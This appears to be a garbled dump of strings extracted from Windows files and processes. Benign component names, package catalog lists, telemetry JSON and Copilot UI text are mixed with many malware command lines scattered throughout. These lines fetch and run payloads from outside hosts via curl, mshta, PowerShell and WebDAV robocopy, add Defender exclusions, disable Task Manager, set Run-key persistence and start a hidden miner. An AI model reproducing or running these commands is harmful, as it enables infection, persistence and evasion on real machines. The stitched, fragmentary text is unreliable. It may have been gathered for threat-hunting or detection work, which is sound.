Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
!WindowsKernelExplorer
WINDOWS11
X\system32\backgroundTaskHost.exe
WINDOWS
Microsoft.Windows.d
 policybypass-windowstylehidden-command"iex(new-
,"windows",vbtextcompare)
Windows Defender Exploit Guard detected execution of file that exhibit characteristics similar to ransomware
%systemroot%\system32\vssadmin.exe
%systemroot%\system32\wbem\wmic.exe
%systemroot%\system32\windowspowershell\*\powershell.exe
%systemroot%\syswow64\windowspowershell\*\powershell.exe
windows
>/landing?action=report/landing?action=ping/landing?action=file/landing?action=jsfile&systemhash=%s&systeminjectedSOFTWARE\MICROSOFT\WINDOWS\CURRENT VERSION\RUNisnet20inst%WINDIR%/temp/1.txt31.184.194.99
Microsoft.Windows.Update.Undocked.Brain
Microsoft.Windows.Update.Undocked.Brain
Microsoft.Windows.Update.Undocked.BrainTrace
WinHttpReq.Open "GET", myURL, False, "username", "password"http://192.168.100.5/testdata.txtSaveToFile "C:\Users\Enigma\source\repos\02rev\mytest.txt", 2 ' 1PowerShell -Command ""{Invoke-WebRequest -Uri http://192.168.100.5/testdata.txt -OutFileEnviron("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetLogger.exe
.Windows.ClientMetrics.Win32kTraceLogging.AppInteractivityMetric
.Windows.ClientMetrics.Update.Undocked.Brain.MaxRecursionReached
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsDuplicateString
WindowsGetStringLen
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsCompareStringOrdinal
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Windows::COM::GetTemporaryPath
Windows::COM::LoadSystemLibraryAndFunction
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noexit-command"$
r..\windows\system32\cmd.exea/k"curlhttp://185.117.72.143/zuka.css-o%userprofile%\12s21a..cmd&%userprofile%\12s21a..cmd""%systemroot%\system32\imageres.dll%systemroot%\system32\cmd.exe%systemroot%\system32\cmd.exe%wn]nd.q`xwin-oe3kip7un0v_g]o@o(n`^k)_g]o@o(n`^k)p,0terminal2
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.fnb.co.za/downloads/public/fnb_psb_obestatement.pdf&curl-slo%temp%\d238e212-445b-4b14-b4f5-2d5ebb5d0561.msihttp://secureviewmode.com/fils/setupse.msi&%temp%\d238e212-445b-4b14-b4f5-2d5ebb5d0561.msi/qn|taskkill/f/imcmd.exe
g&var_0x311584=['software\x5cmicrosoft\x5cwindows\x5ccurrentversion\x5crun','dafsu','shellexecute','4528335qargcq','zprxc','tptlm','echo','scriptfullname','2demytd','));','4322265eajldo',''%snxpk%'','zosqn','2170236ixqfqo','sethours','winmgmts://./root/default:stdregprov
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
GetSystemWindowsDirectoryW
WindowsDuplicateString
WindowsCompareStringOrdinal
s\system32
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
sWindows
WindowsAppRuntime.Release!1.8.209t
Windows
Windows
Windows PowerShell ISE (x86).lnk
Windows PowerShell ISE.lnk
windows
Win32Windows
"Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App
"Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
onecore\enduser\windowsupdate\client\wusys\dll\wusys.cpp
onecore\enduser\windowsupdate\client\wusys\lib\wusysimpl.cpp
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
Microsoft.Windows.Update.Undocked.Brain
Microsoft.Windows.Update.Undocked.Brain
Microsoft.Windows.Update.Undocked.FailoverEventAggregator
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\win32_helpers.h
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\Resource.h
DriverData=C:\Windows\System32\
QAS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
'Microsoft Windows Code Signing PCA 20240
Creactive.Windows._3fs.Properties.Resources.resourcesCreactive.Windows._3fs.MonitorWindow.resources!#ALF:Trojan:Win32/REntS.SIBH!MTB
WindowsDirectory
Win32API|System Information Functions|GetWindowsDirectory
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_REBOOT
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_SHUTDOWN
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft.Windows.Shell.ProfAPI
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\resource.h
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows media pl|6bd670574e3d6ac
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
OS=Windows_NT
OS=Windows_NT
#-windowstylehidden-command""irm
start-process -filepath $exe -windowstyle hiddens
Hregadd"hkcu\software\microsoft\windows\currentversion\policies\system"/vdisabletaskmgr/treg_dword/d1/fregadd"hkcu\software\microsoft\windows\currentversion\policies\system"/vdisableregistrytools/treg_dword/d1/f
s\system32\msiexec.
c:/windows/system32/taskkill
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AV<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@winrt@@YA?AU?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@2@AEBU34562@@Z@
.?AV<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@win
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
wwindowsA
windowsupdatesE
windows upsG
windows updteH
windows updatw
\windows\currentversion\run'-name'
c:\windows\system32
)1)sleep(9000)msgbox(4096,"windowsupdateservice(kb345343)F
TcpWindowSize
Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpWindowSize
T\Microsoft\Windows\Defender
WINDOWS11
HKCU\Software\Microsoft\Windows\CurrentVersion
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\tile.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\applifecycleproperties.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen.implementation\startmenusettings.cpp
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
{"text":"Failed to fetch Windows Backup Registry error code = %d"}
{"text":"Windows Backup Policy State: %s"}
TN.onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.appinfofactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.fulltrustprocesslauncher.cpp
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
WINDOWS11
=%systemroot%\syswow64\windowspowershell\v1.0\powershell.exe
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows iV
ManagedByWindows	
WINDOWS11
%Microsoft Windows Production PCA 20110
Microsoft Windows0
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetUserType
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.Compare
WindowsRu
@java.sun.com/update/1.6.0/jinstall-6u60-windows-i586.cab
1e3^com.microsoft.windows.extensionpackage
Microsoft.Windows.ShellPlacements
e2^com.microsoft.windows.extensionpackage
e4^com.microsoft.windows.extensionpackage
e6^com.microsoft.windows.extensionpackage
System32
File Explorer.lnk=@%SystemRoot%\system32\shell32.dll,-22067
shellcommon\undockeddevkit\libs\windowsudk.ui.themes\appvisualtheme.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.themes\systemvisualflowdirection.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.themes\themecolors.cpp
shellcommon\undockeddevkit\libs\windowsudkinternal.system\activationservice.cpp
shellcommon\undockeddevkit\libs\windowsudk.web.webview2\sharedwebviewenvironmentmanager.cpp
Microsoft.Windows.Security.CFL.API
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
.Windows
OutlookForWindows.
Microsoft.Windows.OOBENe>
windows.hlp`
delc:\windows\*z
system32
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
3Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy-In-Block
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-In-Allow-Intranet-Authenticate^
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Allow
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy-In-Blockt
Microsoft.Windows.WinRTClassActivation
\synaptics.exe-c"%code_loader%">>"c:\users\public\windowssecurity"echo//4my2xzdqo=>"c:\users\public\windowssecurity.~b64"certutil-f-decode"c:\users\public\windowssecurity.~b64
,run"regadd""hklm\software\microsoft\windowsdefender\exclusions\paths""/v""%appdata%\svchost.exe""/treg_dword/d0/f",0,truecreateobject("scripting.filesystemobject").opentextfile(createobject("wscript
powershell-windowstylehiddenadd-mppreference-exclusionpathc:\users
_+\powershell.exec:\-windowstylehiddeninvoke-webrequest-uri"http://
5C:\WINDOWS\system32\backgroundTaskHost.exe
WINDOWS
	\system32\cmd.exe
L..\windows\d
:1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939771589615,"MaxEventTime":134163939771589615,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataAccessRes.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[241,238,252,130,123,171,18,18,129,65,238,155,32,109,220,176,204,113,172,166],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"UserDataAccessRes.dll","InternalName":"UserDataAccessRes","FileDescription":"Resource DLL for the UserDataAccess stack","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477598042,"TimeDateStamp":4181898107,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901066Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":40},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"thesessionhastimedout.microsoftwillsendanaccesscodeto
'exeC:\Windows\System32\cBLK.dllC:\Program Files\1234df
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
:\windows\
dir/b/sc:\windows\x90
c:\windows\system32\windowspowershell\v1.0\powershell.exe$
WINDOWS11
WINDOWS11
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
EVT-Windows-C++-No-3.4.276.7
q\\microsoft\\windows\\currentversion\\run\\
uecho---disable"windowsdefenderfirewallauthorizationdriver"service
Ddows\system32\cmd.exe/c"c
WindowsSandboxConfig.H
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package011221~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Product-Data-Ge-26143-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Intel-Netwbw02-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|UserExperience-LKG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|rosoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Printing-PrintToPDFServices-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Product-onecore__Microsoft-OneCore-WSD-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Shared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat|d364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|t|4~~10.0.26100.1591.cat|-US~10.0.26100.1591.cat|
WindowsVersion
WINDOWS11
icrosoft Windows 11 Pro
C:\WINDOWS\system32
C:\WINDOWS
72^WINDOWS.BACKGROUNDTASKS
windows-php-reverse-
start-process$miner_path-windowstylehidden
6b^windows.appExtension
WindowSurfaceVk::swapImpl
rx::WindowSurfaceVk::doDeferredAcquireNextImage
rx::WindowSurfaceVk::getUserExtentsImpl
rx::WindowSurfaceVk::getCurrentFramebuffer
WindowSurfaceVk::lockSurface
WindowSurfaceVk::destroy:vkDestroySurfaceKHR
WindowSurfaceVk::throttleCPU
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[o`
WindowsCreateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
GetSystemWindowsDirectoryA
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.9
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.15
Windows\CurrentVersion\Explorer\TravelLog!MaxScreenshotCount
Windows.StateRepositoryPS.dll
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
vXc:\windows\system32\cmd.exe/crobocopy"\\vocabulary-bangladesh-designation-manhattan.trycloudflare.com@ssl\davwwwroot\re_1wsf"%temp%vra.wsf/ns/nc/nfl/ndl>nul&start/min""cscript.exe//nologo"%temp%\vra.wsf"
%BrowserAppProfile%\New Windows!UseSecBand
Windows\CurrentVersion\Ext\Stats\%s\iexplore!Type
Microsoft.Windows.Shell.PersonalDataExportConsentLogging
Microsoft.Windows.Shell.NthSnapshotCaptureLogging
Windows.Data.Input.Devices.MouseSetting
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%BrowserAppProfile%\Document Windows
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS!Text
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\ENABLE!RegPoliciesPath
Windows\CurrentVersion\Ext\Stats\%s\iexplore!NavTimeArray
%BrowserAppProfile%\Main!SyncHomePage Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy
c:\windows\temp\asytws.M
mshta.exedoksoks.xgmshta.exel-k}^zc:\windows\system32\mshta.exe)https://files-dwn.shop/16.12_sbb/grow.rtfc:\programfiles(x86)\grow.exe%windir%\system32\mshta.exe
c:\windows\system32\cmd.exed~/q/v/rstart^m^si^e^x^e^c^b^k=^gmp^ots/^q^n/^fv"http://q0.wf:8080/b4uiipa/q9bt8s00t5/orhr9dakdxvk6evzqrit/!computername!"shell32.dll%
powershell.exe-windowstylehiddeninvoke-webrequest-uri"https://tinyurl.com/34zpazvv"-outfile"$env:temp\
.exe";start-process-windowstylehidden$env:temp\
.cmdc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
_b7jksu[./dsrundll32.exeo-nc:\windows\system32\rundll32.exe\nlsdl.dat,drawthemeicon!%systemroot%\system32\shell32.dll%systemroot%\system32\rundll32.exe%systemroot%
Hc:\windows\system32\cmd.exe/crobocopy"\\depot-arrange-zero-kai.trycloudflare.com@ssl\davwwwroot\re_02wsf"%temp%jenk.wsf/ns/nc/nfl/ndl>nul&start/min""cscript.exe
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
WindowsDeleteString
WindowsCreateStringReference
WindowsConcatString
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteStringBuffer
Windows.Data.Calling.SettingsLocalCache
GetWindowsAccountDomainSid
Microsoft.Windows.ESENT.TraceLogging
8c^com.microsoft.windows.extensionpackage
8e^com.microsoft.windows.extensionpackage
93^com.microsoft.windows.actionruntime
com.microsoft.windows.actionruntime
